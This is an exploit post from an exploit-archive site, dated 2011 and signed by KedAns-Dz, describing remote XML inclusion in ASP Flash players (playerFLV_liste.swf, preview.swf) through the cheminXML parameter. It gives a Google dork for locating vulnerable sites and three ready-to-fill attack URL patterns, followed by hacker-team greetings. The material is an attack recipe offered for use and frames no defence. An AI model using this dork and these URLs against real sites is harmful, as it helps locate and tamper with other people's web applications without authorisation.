ExploitFixes
[D] AspX (liste.swf) Remote XML inclusion [Z] 2011-02-26 17:37:46
Posted by: kedans

###
# Title : AspX (liste.swf) Remote XML inclusion
# Author : KedAns-Dz
# E-mail : [email protected]
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# Platform: asp
###

#---------------------------

GoOgle Dork : "inurl:cheminXML="

#------------------------------------------------

ExplO!T :

1 > http://[target]/[path]/playerFLV_liste.swf?cheminXML= << XML here

2 > http://[target]/[path]/preview.swf?cheminXML= << XML here

3 > http://[target]/[path]/****.sfw?cheminXML= << XML here


#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One
# XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ;
# > Algerians < [D] HaCkerS-StreeT-Team [Z] > Hackers <
# My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 ...all Others
# 4nahdha.com : TitO (Dr.Ride) * MEN_dz * Mr.LAK (Administrator) * all members ...
# sec4ever.com members Dz : =>>
# Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz ... all Others
# hotturks.org : TeX * KadaVra ... all Others
# Kelvin.Xgr ( kelvinx.net)
#===========================================================================